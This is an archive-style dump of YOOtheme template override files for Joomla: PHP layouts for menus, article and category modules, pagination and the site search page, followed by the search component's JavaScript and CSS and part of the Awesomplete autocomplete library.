<?= ($active ? 'class="uk-active"' : '') ?>> <a href="<?= Route::_(RouteHelper::getCategoryRoute($item->id)) ?>"> <?= $item->title ?> <?php if ($params->get('numitems')) : ?> <span class="uk-badge"><?= $item->numitems ?></span> <?php endif ?> </a> <?php if ($params->get('show_description', 0) && $item->description) : ?> <div><?= HTMLHelper::_('content.prepare', $item->description, $item->getParams(), 'mod_articles_categories.content') ?></div> <?php endif ?> <?php if ($params->get('show_children', 0) && (($params->get('maxlevel', 0) == 0) || ($params->get('maxlevel') >= ($item->level - $startLevel))) && count($item->getChildren())) : ?> <ul class="uk-list"> <?php $temp = $list; $list = $item->getChildren(); require ModuleHelper::getLayoutPath('mod_articles_categories', $params->get('layout', 'default') . '_items'); $list = $temp; ?> </ul> <?php endif ?> </li> <?php endforeach ?> mod_articles_categories/default.php 0000604 00000000351 15166657146 0013567 0 ustar 00 <?php defined('_JEXEC') or die; use Joomla\CMS\Helper\ModuleHelper; ?> <ul class="categories-module"> <?php require ModuleHelper::getLayoutPath('mod_articles_categories', $params->get('layout', 'default') . '_items') ?> </ul> mod_tags_similar/default.php 0000604 00000002014 15166657146 0012230 0 ustar 00 <?php defined('_JEXEC') or die; use Joomla\CMS\Helper\RouteHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; use Joomla\Component\Tags\Site\Helper\RouteHelper as TagsRouteHelper; ?> <?php if ($list) : ?> <ul class="tagssimilar"> <?php foreach ($list as $item) : ?> <?php if (empty($item->core_title)) continue ?> <li> <?php if (($item->type_alias == 'com_users.category') || ($item->type_alias == 'com_banners.category')) : ?> <?= htmlspecialchars($item->core_title, ENT_COMPAT, 'UTF-8') ?> <?php else: $item->route = new RouteHelper() ?> <a href="<?= Route::_(TagsRouteHelper::getItemRoute($item->content_item_id, $item->core_alias, $item->core_catid, $item->core_language, $item->type_alias, $item->router)) ?>"> <?= htmlspecialchars($item->core_title, ENT_COMPAT, 'UTF-8') ?> </a> <?php endif ?> </li> <?php endforeach ?> </ul> <?php else : ?> <span><?= Text::_('MOD_TAGS_SIMILAR_NO_MATCHING_TAGS') ?></span> <?php endif ?> mod_menu/default.php 0000604 00000005652 15166657146 0010531 0 ustar 00 <?php namespace YOOtheme; defined('_JEXEC') or die; [$view, $config] = app(View::class, Config::class); if (!count($list)) { return; } $items = []; $parents = []; // Add module class $attrs = ['class' => [$params['class_sfx']]]; foreach ($list as $_item) { $item = clone $_item; $item_params = $_item->getParams(); $alias_id = $item_params['aliasoptions']; // set active state if ($item->id == $active_id || ($item->type == 'alias' && $alias_id == $active_id)) { $item->active = true; } if (in_array($item->id, $path)) { $item->active = true; } if ($item->active) { foreach ($parents as $parent) { $parent->active = true; } } // normalize menu item $item->url = $item->flink; $item->target = ($item->browserNav == 1 || $item->browserNav == 2) ? '_blank' : ''; $item->active = $item->active ?: false; $item->divider = $item->type === 'separator'; $item->type = $item->type == 'separator' ? 'heading' : $item->type; $item->class = "item-{$item->id}"; // update menu item params $config->update("~theme.menu.items.{$item->id}", fn($values) => array_merge($values ?: [], [ 'image' => empty($values['image']) ? $item_params['menu_image'] : $values['image'], 'image_only' => empty($values['image_only']) ? !$item_params['menu_text'] : $values['image_only'], 'image_classes' => $item_params['menu_image_css'], ]) ); // add to parent if ($parent = end($parents)) { $parent->children[] = $item; } else { $items[] = $item; } // set/remove parent if ($item->deeper) { $parents[] = $item; $item->children = []; } elseif ($item->shallower) { array_splice($parents, -$item->level_diff); } } // Add "module-{id}" to <ul> on navbar position if no tag_id is specified // See Navbar positions in module.php which don't render module markup $layout = $config('~theme.header.layout'); if ($module->id && is_numeric($module->id) && !$params['tag_id'] && (in_array($module->position, ['navbar', 'navbar-push','navbar-mobile', 'header-mobile']) || (in_array($module->position, ['header', 'header-split']) && str_starts_with($layout, 'horizontal')) || ($module->position == 'logo' && preg_match('/^(horizontal|stacked-center-split-[ab])/', $layout)) || $module->position == 'logo-mobile') && in_array($config("~theme.modules.{$module->id}.menu_type"), ['', 'nav']) ) { $params['tag_id'] = "module-{$module->id}"; } $settings = []; foreach ($config("~theme.modules.{$module->id}", []) as $key => $value) { if (str_starts_with($key, 'menu_')) { $settings[substr($key, 5)] = $value; } } // set menu config $config->set('~menu', [ 'tag_id' => $params['tag_id'], 'position' => $module->position, ] + $settings); echo $view('~theme/templates/menu/menu', ['items' => $items, 'attrs' => $attrs]); mod_menu/collapse-default.php 0000604 00000000203 15166657146 0012314 0 ustar 00 <?php defined('_JEXEC') or die; use Joomla\CMS\Helper\ModuleHelper; require ModuleHelper::getLayoutPath('mod_menu', 'default'); mod_articles_latest/default.php 0000604 00000000306 15166657146 0012736 0 ustar 00 <?php defined('_JEXEC') or die; ?> <ul class="latestnews"> <?php foreach ($list as $item) : ?> <li><a href="<?= $item->link ?>"><?= $item->title ?></a></li> <?php endforeach ?> </ul> mod_articles_popular/default.php 0000604 00000000304 15166657146 0013122 0 ustar 00 <?php defined('_JEXEC') or die; ?> <ul class="mostread"> <?php foreach ($list as $item) : ?> <li><a href="<?= $item->link ?>"><?= $item->title ?></a></li> <?php endforeach ?> </ul> pagination.php 0000604 00000001003 15166657146 0007415 0 ustar 00 <?php use Joomla\CMS\Layout\LayoutHelper; use YOOtheme\Path; defined('_JEXEC') or die; // prefer child theme's pagination if (Path::get(__FILE__) !== $file = Path::get('~theme/html/pagination.php')) { return include $file; } function pagination_item_active($item) { return LayoutHelper::render('joomla.pagination.link', ['data' => $item, 'active' => true]); } function pagination_item_inactive($item) { return LayoutHelper::render('joomla.pagination.link', ['data' => $item, 'active' => false]); } mod_articles_news/default.php 0000604 00000000253 15166657146 0012417 0 ustar 00 <?php defined('_JEXEC') or die; use Joomla\CMS\Helper\ModuleHelper; foreach ($list as $item) { include ModuleHelper::getLayoutPath('mod_articles_news', '_item'); } mod_articles_news/horizontal.php 0000604 00000000642 15166657146 0013166 0 ustar 00 <?php defined('_JEXEC') or die; use Joomla\CMS\Helper\ModuleHelper; ?> <?php if (count($list) > 0) : ?> <ul class="newsflash" uk-grid> <?php for ($i = 0, $count = count($list); $i < $count; $i++) : ?> <?php $item = $list[$i] ?> <li class="uk-width-1-<?= $count ?>@m"> <?php include ModuleHelper::getLayoutPath('mod_articles_news', '_item') ?> </li> <?php endfor ?> </ul> <?php endif ?> mod_articles_news/vertical.php 0000604 00000000571 15166657146 0012607 0 ustar 00 <?php defined('_JEXEC') or die; use Joomla\CMS\Helper\ModuleHelper; ?> <?php if (count($list) > 0) : ?> <ul class="uk-list uk-list-divider newsflash"> <?php for ($i = 0, $n = count($list); $i < $n; $i++) : ?> <?php $item = $list[$i] ?> <li><?php include ModuleHelper::getLayoutPath('mod_articles_news', '_item') ?></li> <?php endfor ?> </ul> <?php endif ?> mod_articles_news/_item.php 0000604 00000003031 15166657146 0012065 0 ustar 00 <?php namespace YOOtheme; defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Uri\Uri; $view = app(View::class); $title_element = $params->get('item_heading', 'h4'); if ($params->get('img_intro_full') !== 'none' && !empty($item->imageSrc)) { if ($view->isImage($item->imageSrc) == 'svg') { $img = $view->image($item->imageSrc, ['loading' => 'lazy', 'alt' => $item->imageAlt]); } else { $img = $view->image([$item->imageSrc, 'thumbnail' => ['auto', 'auto'], 'srcset' => true], ['loading' => 'lazy', 'alt' => $item->imageAlt]); } } ?> <?php if ($params->get('item_title')) : ?> <<?= $title_element ?>> <?php if ($params->get('link_titles') && $item->link != '') : ?> <a href="<?= $item->link ?>"><?= $item->title ?></a> <?php else : ?> <?= $item->title ?> <?php endif ?> </<?= $title_element ?>> <?php endif ?> <?php if ($params->get('img_intro_full') !== 'none' && !empty($item->imageSrc)) : ?> <div property="image" typeof="ImageObject" vocab="https://schema.org/"> <meta property="url" content="<?= Uri::base() . HTMLHelper::_('cleanImageURL', $item->imageSrc)->url ?>"> <?= $img ?> </div> <?php endif ?> <?php if (!$params->get('intro_only')) echo $item->afterDisplayTitle ?> <?= $item->beforeDisplayContent ?> <?= $item->introtext ?> <?= $item->afterDisplayContent ?> <?php if (isset($item->link) && $item->readmore && $params->get('readmore')) : ?> <p><a class="uk-button uk-button-text" href="<?= $item->link ?>"><?= $item->linkText ?></a></p> <?php endif ?> com_finder/search/default_results.php 0000604 00000011222 15166657146 0014047 0 ustar 00 <?php namespace YOOtheme; defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Plugin\PluginHelper; use Joomla\CMS\Router\Route; use Joomla\CMS\Uri\Uri; use Joomla\String\StringHelper; $view = app(View::class); // Article template $article = $view('~theme/templates/article{-search,}', function ($result) { $article = [ // Article 'article' => $result, 'link' => $result->route, // Params 'params' => [ 'show_title' => true, 'link_titles' => true, ], ]; if ($this->params->get('show_description', 1)) { // Calculate number of characters to display around the result $term_length = StringHelper::strlen($this->query->input); $desc_length = $this->params->get('description_length', 255); $pad_length = $term_length < $desc_length ? floor(($desc_length - $term_length) / 2) : 0; // Find the position of the search term $pos = $term_length ? StringHelper::strpos(StringHelper::strtolower($result->description), StringHelper::strtolower($this->query->input)) : false; // Find a potential start point $start = ($pos && $pos > $pad_length) ? $pos - $pad_length : 0; // Find a space between $start and $pos, start right after it. $space = StringHelper::strpos($result->description, ' ', $start > 0 ? $start - 1 : 0); $start = ($space && $space < $pos) ? $space + 1 : $start; $article['content'] = HTMLHelper::_('string.truncate', StringHelper::substr($result->description, $start), $desc_length, true); } if (version_compare(JVERSION, '4.0', '<')) { // Get the route with highlighting information. if (!empty($this->query->highlight) && empty($result->mime) && $this->params->get('highlight_terms', 1) && PluginHelper::isEnabled('system', 'highlight')) { $article['link'] .= '&highlight=' . base64_encode(json_encode($this->query->highlight)); } } return $article; }); ?> <?php // Display the suggested search if it is different from the current search. ?> <?php if (($this->suggested && $this->params->get('show_suggested_query', 1)) || ($this->explained && $this->params->get('show_explained_query', 1))) : ?> <p> <?php // Display the suggested search query. ?> <?php if ($this->suggested && $this->params->get('show_suggested_query', 1)) : ?> <?php // Replace the base query string with the suggested query string. ?> <?php $uri = Uri::getInstance($this->query->toUri()) ?> <?php $uri->setVar('q', $this->suggested) ?> <?php // Compile the suggested query link. ?> <?php $linkUrl = Route::_($uri->toString(['path', 'query'])) ?> <?php $link = '<a href="' . $linkUrl . '">' . $this->escape($this->suggested) . '</a>' ?> <?= Text::sprintf('COM_FINDER_SEARCH_SIMILAR', $link) ?> <?php // Display the explained search query. ?> <?php elseif ($this->explained && $this->params->get('show_explained_query', 1)) : ?> <?= $this->explained ?> <?php endif ?> </p> <?php endif ?> <?php // Display the 'no results' message and exit the template. ?> <?php if ($this->total == 0) : ?> <h1 class="uk-h2"><?= Text::_('COM_FINDER_SEARCH_NO_RESULTS_HEADING') ?></h1> <?php $multilang = Factory::getApplication()->getLanguageFilter() ? '_MULTILANG' : '' ?> <p><?= Text::sprintf('COM_FINDER_SEARCH_NO_RESULTS_BODY' . $multilang, $this->escape($this->query->input)) ?></p> <?php // Exit this template. ?> <?php else : ?> <?php // Activate the highlighter if enabled. ?> <?php if (!empty($this->query->highlight) && $this->params->get('highlight_terms', 1)) : ?> <?php if (version_compare(JVERSION, '4.0', '<')) { HTMLHelper::_('behavior.highlighter', $this->query->highlight); } else { $this->document->getWebAssetManager()->useScript('highlight'); $this->document->addScriptOptions( 'highlight', [[ 'class' => 'js-highlight', 'highLight' => $this->query->highlight, ]] ); } ?> <?php endif ?> <?php // Display a list of results ?> <?php if (version_compare(JVERSION, '4.0', '<')) : ?> <br id="highlighter-start" /> <?php foreach ($this->results as $result) : ?> <?= $article($result) ?> <?php endforeach ?> <br id="highlighter-end" /> <?php else : ?> <div class="js-highlight"> <?php foreach ($this->results as $result) : ?> <?= $article($result) ?> <?php endforeach ?> </div> <?php endif ?> <?= $this->pagination->getPagesLinks() ?> <?php endif ?> com_finder/search/default.php 0000604 00000002631 15166657146 0012272 0 ustar 00 <?php defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use YOOtheme\Path; use YOOtheme\Url; if (version_compare(JVERSION, '4.0', '<')) { HTMLHelper::_('behavior.core'); $this->document->addStylesheet( Url::to(Path::get('~theme/html/com_finder/assets/com_finder/css/finder.min.css')), ['version' => 'auto'] ); $this->document->addScript( Url::to(Path::get('~theme/html/com_finder/assets/com_finder/js/finder.min.js')), ['version' => 'auto'], ['defer' => true] ); } else { $this->document->getWebAssetManager() ->useStyle('com_finder.finder') ->useScript('com_finder.finder'); } ?> <div class="finder <?= $this->pageclass_sfx ?>"> <?php if ($this->params->get('show_page_heading')) : ?> <h1> <?php if ($this->escape($this->params->get('page_heading'))) : ?> <?= $this->escape($this->params->get('page_heading')) ?> <?php else : ?> <?= $this->escape($this->params->get('page_title')) ?> <?php endif ?> </h1> <?php endif ?> <?php if ($this->params->get('show_search_form', 1)) : ?> <?= $this->loadTemplate('form') ?> <?php endif ?> <?php // Load the search results layout if we are performing a search. ?> <?php if ($this->query->search === true) : ?> <?= $this->loadTemplate('results') ?> <?php endif ?> </div> com_finder/search/default_form.php 0000604 00000007214 15166657146 0013317 0 ustar 00 <?php defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; use YOOtheme\Path; use YOOtheme\Url; // This segment of code sets up the autocompleter. if ($this->params->get('show_autosuggest', 1)) { if (version_compare(JVERSION, '4.0', '<')) { $this->document->addScript( Url::to(Path::get('~theme/html/com_finder/assets/awesomplete/js/awesomplete.min.js')), ['version' => 'auto'] ); } else { $assetManager = $this->document->getWebAssetManager(); $assetManager->usePreset('awesomplete'); $assetManager->disableStyle('awesomplete'); Text::script('JLIB_JS_AJAX_ERROR_OTHER'); Text::script('JLIB_JS_AJAX_ERROR_PARSE'); } $this->document->addScriptOptions('finder-search', ['url' => Route::_('index.php?option=com_finder&task=suggestions.suggest&format=json&tmpl=component')]); } ?> <form action="<?= Route::_($this->query->toUri()) ?>" method="get" class="form-inline js-finder-searchform"> <?= $this->getFields() ?> <fieldset class="word"> <div class="uk-grid-small" uk-grid> <div class="uk-width-expand@s"> <div class="uk-search uk-search-default uk-width-1-1"> <input id="q" class="uk-search-input<?= $this->params->get('show_autosuggest', 1) ? ' js-finder-search-query' : ''?>" type="text" name="q" placeholder="<?= Text::_('TPL_YOOTHEME_SEARCH') ?>" size="30" value="<?= $this->escape($this->query->input) ?>" aria-label="<?= Text::_('TPL_YOOTHEME_SEARCH') ?>"> </div> </div> <div class="uk-width-auto@s"> <div class="uk-grid-small" uk-grid> <div class="uk-width-auto@s"> <button name="Search" type="submit" class="uk-button uk-button-primary uk-width-1-1"><?= Text::_('JSEARCH_FILTER_SUBMIT') ?></button> </div> <?php if ($this->params->get('show_advanced', 1)) : ?> <div class="uk-width-auto@s"><a href="#advancedSearch" uk-toggle="target: #advancedSearch" class="uk-button uk-button-default uk-width-1-1"><?= Text::_('COM_FINDER_ADVANCED_SEARCH_TOGGLE') ?></a></div> <?php endif ?> </div> </div> </div> </fieldset> <?php if ($this->params->get('show_advanced', 1)) : ?> <div id="advancedSearch" class="uk-margin js-finder-advanced" <?php if (!$this->params->get('expand_advanced', 0)) echo ' hidden' ?>> <?php if ($this->params->get('show_advanced_tips', 1)) : ?> <?php if (version_compare(JVERSION, '4.0', '<')) : ?> <?= Text::_('COM_FINDER_ADVANCED_TIPS') ?> <?php else : ?> <div> <?php echo Text::_('COM_FINDER_ADVANCED_TIPS_INTRO'); ?> <?php echo Text::_('COM_FINDER_ADVANCED_TIPS_AND'); ?> <?php echo Text::_('COM_FINDER_ADVANCED_TIPS_NOT'); ?> <?php echo Text::_('COM_FINDER_ADVANCED_TIPS_OR'); ?> <?php if ($this->params->get('tuplecount', 1) > 1) : ?> <?php echo Text::_('COM_FINDER_ADVANCED_TIPS_PHRASE'); ?> <?php endif; ?> <?php echo Text::_('COM_FINDER_ADVANCED_TIPS_OUTRO'); ?> </div> <?php endif ?> <?php endif; ?> <div id="finder-filter-window"> <?= HTMLHelper::_('filter.select', $this->query, $this->params) ?> </div> </div> <?php endif ?> </form> com_finder/assets/com_finder/js/finder.min.js 0000604 00000002146 15166657147 0015304 0 ustar 00 ((e,t,r,s)=>{if(!t)throw new Error("core.js was not properly initialised");const o=({target:e})=>{e.value.length>1&&(e.awesomplete.list=[],t.request({url:`${t.getOptions("finder-search").url}&q=${e.value}`,method:"GET",data:{q:e.value},perform:!0,headers:{"Content-Type":"application/x-www-form-urlencoded"},onSuccess:t=>{const r=JSON.parse(t);"[object Array]"===Object.prototype.toString.call(r.suggestions)&&(e.awesomplete.list=r.suggestions)},onError:e=>{e.status>0&&t.renderMessages(t.ajaxErrorsMessages(e))}}))},a=e=>{e.stopPropagation();const t=e.target.querySelector(".js-finder-advanced");if(t){[].slice.call(t.querySelectorAll("select")).forEach((e=>{e.value||e.setAttribute("disabled","disabled")}))}},n=()=>{[].slice.call(s.querySelectorAll(".js-finder-search-query")).forEach((r=>{t.getOptions("finder-search")&&(r.awesomplete=new e(r),r.addEventListener("input",o))}));[].slice.call(s.querySelectorAll(".js-finder-searchform")).forEach((e=>{e.addEventListener("submit",a)})),s.removeEventListener("DOMContentLoaded",n)};s.addEventListener("DOMContentLoaded",n)})(window.Awesomplete,window.Joomla,window,document); com_finder/assets/com_finder/js/finder.js 0000604 00000004555 15166657147 0014530 0 ustar 00 /** * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ ((Awesomplete, Joomla, window, document) => { if (!Joomla) { throw new Error('core.js was not properly initialised'); } // Handle the autocomplete const onInputChange = ({ target }) => { if (target.value.length > 1) { target.awesomplete.list = []; Joomla.request({ url: `${Joomla.getOptions('finder-search').url}&q=${target.value}`, method: 'GET', data: { q: target.value }, perform: true, headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, onSuccess: resp => { const response = JSON.parse(resp); if (Object.prototype.toString.call(response.suggestions) === '[object Array]') { target.awesomplete.list = response.suggestions; } }, onError: xhr => { if (xhr.status > 0) { Joomla.renderMessages(Joomla.ajaxErrorsMessages(xhr)); } } }); } }; // Handle the submit const onSubmit = event => { event.stopPropagation(); const advanced = event.target.querySelector('.js-finder-advanced'); // Disable select boxes with no value selected. if (advanced) { const fields = [].slice.call(advanced.querySelectorAll('select')); fields.forEach(field => { if (!field.value) { field.setAttribute('disabled', 'disabled'); } }); } }; // The boot sequence const onBoot = () => { const searchWords = [].slice.call(document.querySelectorAll('.js-finder-search-query')); searchWords.forEach(searchword => { // Handle the auto suggestion if (Joomla.getOptions('finder-search')) { searchword.awesomplete = new Awesomplete(searchword); // If the current value is empty, set the previous value. searchword.addEventListener('input', onInputChange); } }); const forms = [].slice.call(document.querySelectorAll('.js-finder-searchform')); forms.forEach(form => { form.addEventListener('submit', onSubmit); }); // Cleanup document.removeEventListener('DOMContentLoaded', onBoot); }; document.addEventListener('DOMContentLoaded', onBoot); })(window.Awesomplete, window.Joomla, window, document); com_finder/assets/com_finder/css/finder.min.css 0000604 00000003000 15166657147 0015622 0 ustar 00 .com-finder *{margin-bottom:0}.com-finder>*+*,.com-finder__results>*+*{margin-top:1.5em}.com-finder__explained span.branch,.com-finder__explained span.date,.com-finder__explained span.node,.com-finder__explained span.op,.com-finder__explained span.term,.com-finder__explained span.when{font-weight:800}.com-finder__explained span.op{text-transform:uppercase}.com-finder__results-list{list-style:none;padding:0}.result__item+.result__item{margin-top:1.5em;padding-top:1.5em;border-top:1px solid}.result__item>*{margin-bottom:0}.result__item>*+*{margin-top:.25em}.result__title-link{display:flex;flex-direction:column}.result__title-text{font-size:1.3rem}.result__title-url{order:-1;margin-bottom:.25em;color:#575757;font-style:normal}.result__title-link:focus,.result__title-link:hover{text-decoration:none}.result__title-link:focus .result__title-text,.result__title-link:hover .result__title-text{text-decoration:underline}.result__date{color:#575757}.result__date:after{content:"-"}.result__taxonomy{padding:0;list-style:none}.result__taxonomy-item{display:inline-block}.result__taxonomy-item+.result__taxonomy-item{margin-left:.5em}.result__taxonomy-item+.result__taxonomy-item:before{content:"|";padding-right:.5em}.result__item .highlight{position:relative}.result__item .highlight:before{content:"";position:absolute;z-index:-1;top:50%;left:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%);width:calc(100% + 6px);height:calc(100% + 2px);background:rgba(255,255,0,.5);pointer-events:none;border-radius:3px}com_finder/assets/com_finder/css/finder.css 0000604 00000004072 15166657147 0015052 0 ustar 00 /** * Styling search results page */ .com-finder * { margin-bottom: 0; } .com-finder > * + *, .com-finder__results > * + * { margin-top: 1.5em; } /** * Styling search explained */ .com-finder__explained span.term, .com-finder__explained span.date, .com-finder__explained span.when, .com-finder__explained span.branch, .com-finder__explained span.node, .com-finder__explained span.op { font-weight: 800; } .com-finder__explained span.op { text-transform: uppercase; } /** * Styling search result items list */ .com-finder__results-list { list-style: none; padding: 0; } /** * Styling search result item */ .result__item + .result__item { margin-top: 1.5em; padding-top: 1.5em; border-top: 1px solid currentColor; } .result__item > * { margin-bottom: 0; } .result__item > * + * { margin-top: .25em; } .result__title-link { display: flex; flex-direction: column; } .result__title-text { font-size: 1.3rem; } .result__title-url { order: -1; margin-bottom: .25em; color: hsl(0, 0%, 34%); font-style: normal; } .result__title-link:focus, .result__title-link:hover { text-decoration: none; } .result__title-link:focus .result__title-text, .result__title-link:hover .result__title-text { text-decoration: underline; } .result__date { color: hsl(0, 0%, 34%); } .result__date:after { content: "-"; } .result__taxonomy { padding: 0; list-style: none; } .result__taxonomy-item { display: inline-block; } .result__taxonomy-item + .result__taxonomy-item { margin-left: .5em; } .result__taxonomy-item + .result__taxonomy-item:before { content: "|"; padding-right: .5em; } /** * Styling search word highlight */ .result__item .highlight { position: relative; } .result__item .highlight:before { content: ''; position: absolute; z-index: -1; top: 50%; left: 50%; -webkit-transform: translate(-50%, -50%); -ms-transform: translate(-50%, -50%); transform: translate(-50%, -50%); width: calc(100% + 6px); height: calc(100% + 2px); background: hsla(60, 100%, 50%, .5); pointer-events: none; border-radius: 3px; } com_finder/assets/awesomplete/css/awesomplete.css.map 0000604 00000005277 15166657147 0017134 0 ustar 00 {"version":3,"sources":["awesomplete.base.css","awesomplete.theme.css"],"names":[],"mappings":"AAAA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;ACjCA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA","file":"awesomplete.css","sourcesContent":[".awesomplete [hidden] {\n display: none;\n}\n\n.awesomplete .visually-hidden {\n position: absolute;\n clip: rect(0, 0, 0, 0);\n}\n\n.awesomplete {\n display: inline-block;\n position: relative;\n}\n\n.awesomplete > input {\n display: block;\n}\n\n.awesomplete > ul {\n position: absolute;\n left: 0;\n z-index: 1;\n min-width: 100%;\n box-sizing: border-box;\n list-style: none;\n padding: 0;\n margin: 0;\n background: #fff;\n}\n\n.awesomplete > ul:empty {\n display: none;\n}\n",".awesomplete > ul {\n\tborder-radius: .3em;\n\tmargin: .2em 0 0;\n\tbackground: hsla(0,0%,100%,.9);\n\tbackground: linear-gradient(to bottom right, white, hsla(0,0%,100%,.8));\n\tborder: 1px solid rgba(0,0,0,.3);\n\tbox-shadow: .05em .2em .6em rgba(0,0,0,.2);\n\ttext-shadow: none;\n}\n\n@supports (transform: scale(0)) {\n\t.awesomplete > ul {\n\t\ttransition: .3s cubic-bezier(.4,.2,.5,1.4);\n\t\ttransform-origin: 1.43em -.43em;\n\t}\n\t\n\t.awesomplete > ul[hidden],\n\t.awesomplete > ul:empty {\n\t\topacity: 0;\n\t\ttransform: scale(0);\n\t\tdisplay: block;\n\t\ttransition-timing-function: ease;\n\t}\n}\n\n\t/* Pointer */\n\t.awesomplete > ul:before {\n\t\tcontent: \"\";\n\t\tposition: absolute;\n\t\ttop: -.43em;\n\t\tleft: 1em;\n\t\twidth: 0; height: 0;\n\t\tpadding: .4em;\n\t\tbackground: white;\n\t\tborder: inherit;\n\t\tborder-right: 0;\n\t\tborder-bottom: 0;\n\t\t-webkit-transform: rotate(45deg);\n\t\ttransform: rotate(45deg);\n\t}\n\n\t.awesomplete > ul > li {\n\t\tposition: relative;\n\t\tpadding: .2em .5em;\n\t\tcursor: pointer;\n\t}\n\t\n\t.awesomplete > ul > li:hover {\n\t\tbackground: hsl(200, 40%, 80%);\n\t\tcolor: black;\n\t}\n\t\n\t.awesomplete > ul > li[aria-selected=\"true\"] {\n\t\tbackground: hsl(205, 40%, 40%);\n\t\tcolor: white;\n\t}\n\t\n\t\t.awesomplete mark {\n\t\t\tbackground: hsl(65, 100%, 50%);\n\t\t}\n\t\t\n\t\t.awesomplete li:hover mark {\n\t\t\tbackground: hsl(68, 100%, 41%);\n\t\t}\n\t\t\n\t\t.awesomplete li[aria-selected=\"true\"] mark {\n\t\t\tbackground: hsl(86, 100%, 21%);\n\t\t\tcolor: inherit;\n\t\t}"]} com_finder/assets/awesomplete/css/awesomplete.css 0000604 00000003605 15166657147 0016351 0 ustar 00 .awesomplete [hidden] { display: none; } .awesomplete .visually-hidden { position: absolute; clip: rect(0, 0, 0, 0); } .awesomplete { display: inline-block; position: relative; } .awesomplete > input { display: block; } .awesomplete > ul { position: absolute; left: 0; z-index: 1; min-width: 100%; box-sizing: border-box; list-style: none; padding: 0; margin: 0; background: #fff; } .awesomplete > ul:empty { display: none; } .awesomplete > ul { border-radius: .3em; margin: .2em 0 0; background: hsla(0,0%,100%,.9); background: linear-gradient(to bottom right, white, hsla(0,0%,100%,.8)); border: 1px solid rgba(0,0,0,.3); box-shadow: .05em .2em .6em rgba(0,0,0,.2); text-shadow: none; } @supports (transform: scale(0)) { .awesomplete > ul { transition: .3s cubic-bezier(.4,.2,.5,1.4); transform-origin: 1.43em -.43em; } .awesomplete > ul[hidden], .awesomplete > ul:empty { opacity: 0; transform: scale(0); display: block; transition-timing-function: ease; } } /* Pointer */ .awesomplete > ul:before { content: ""; position: absolute; top: -.43em; left: 1em; width: 0; height: 0; padding: .4em; background: white; border: inherit; border-right: 0; border-bottom: 0; -webkit-transform: rotate(45deg); transform: rotate(45deg); } .awesomplete > ul > li { position: relative; padding: .2em .5em; cursor: pointer; } .awesomplete > ul > li:hover { background: hsl(200, 40%, 80%); color: black; } .awesomplete > ul > li[aria-selected="true"] { background: hsl(205, 40%, 40%); color: white; } .awesomplete mark { background: hsl(65, 100%, 50%); } .awesomplete li:hover mark { background: hsl(68, 100%, 41%); } .awesomplete li[aria-selected="true"] mark { background: hsl(86, 100%, 21%); color: inherit; } /*# sourceMappingURL=awesomplete.css.map */ com_finder/assets/awesomplete/js/awesomplete.js 0000604 00000031423 15166657147 0016020 0 ustar 00 /** * Simple, lightweight, usable local autocomplete library for modern browsers * Because there weren’t enough autocomplete scripts in the world? Because I’m completely insane and have NIH syndrome? Probably both. :P * @author Lea Verou http://leaverou.github.io/awesomplete * MIT license */ (function () { var _ = function (input, o) { var me = this; // Keep track of number of instances for unique IDs _.count = (_.count || 0) + 1; this.count = _.count; // Setup this.isOpened = false; this.input = $(input); this.input.setAttribute("autocomplete", "off"); this.input.setAttribute("aria-expanded", "false"); this.input.setAttribute("aria-owns", "awesomplete_list_" + this.count); this.input.setAttribute("role", "combobox"); // store constructor options in case we need to distinguish // between default and customized behavior later on this.options = o = o || {}; configure(this, { minChars: 2, maxItems: 10, autoFirst: false, data: _.DATA, filter: _.FILTER_CONTAINS, sort: o.sort === false ? false : _.SORT_BYLENGTH, container: _.CONTAINER, item: _.ITEM, replace: _.REPLACE, tabSelect: false }, o); this.index = -1; // Create necessary elements this.container = this.container(input); this.ul = $.create("ul", { hidden: "hidden", role: "listbox", id: "awesomplete_list_" + this.count, inside: this.container }); this.status = $.create("span", { className: "visually-hidden", role: "status", "aria-live": "assertive", "aria-atomic": true, inside: this.container, textContent: this.minChars != 0 ? ("Type " + this.minChars + " or more characters for results.") : "Begin typing for results." }); // Bind events this._events = { input: { "input": this.evaluate.bind(this), "blur": this.close.bind(this, { reason: "blur" }), "keydown": function(evt) { var c = evt.keyCode; // If the dropdown `ul` is in view, then act on keydown for the following keys: // Enter / Esc / Up / Down if(me.opened) { if (c === 13 && me.selected) { // Enter evt.preventDefault(); me.select(undefined, undefined, evt); } else if (c === 9 && me.selected && me.tabSelect) { me.select(undefined, undefined, evt); } else if (c === 27) { // Esc me.close({ reason: "esc" }); } else if (c === 38 || c === 40) { // Down/Up arrow evt.preventDefault(); me[c === 38? "previous" : "next"](); } } } }, form: { "submit": this.close.bind(this, { reason: "submit" }) }, ul: { // Prevent the default mousedowm, which ensures the input is not blurred. // The actual selection will happen on click. This also ensures dragging the // cursor away from the list item will cancel the selection "mousedown": function(evt) { evt.preventDefault(); }, // The click event is fired even if the corresponding mousedown event has called preventDefault "click": function(evt) { var li = evt.target; if (li !== this) { while (li && !/li/i.test(li.nodeName)) { li = li.parentNode; } if (li && evt.button === 0) { // Only select on left click evt.preventDefault(); me.select(li, evt.target, evt); } } } } }; $.bind(this.input, this._events.input); 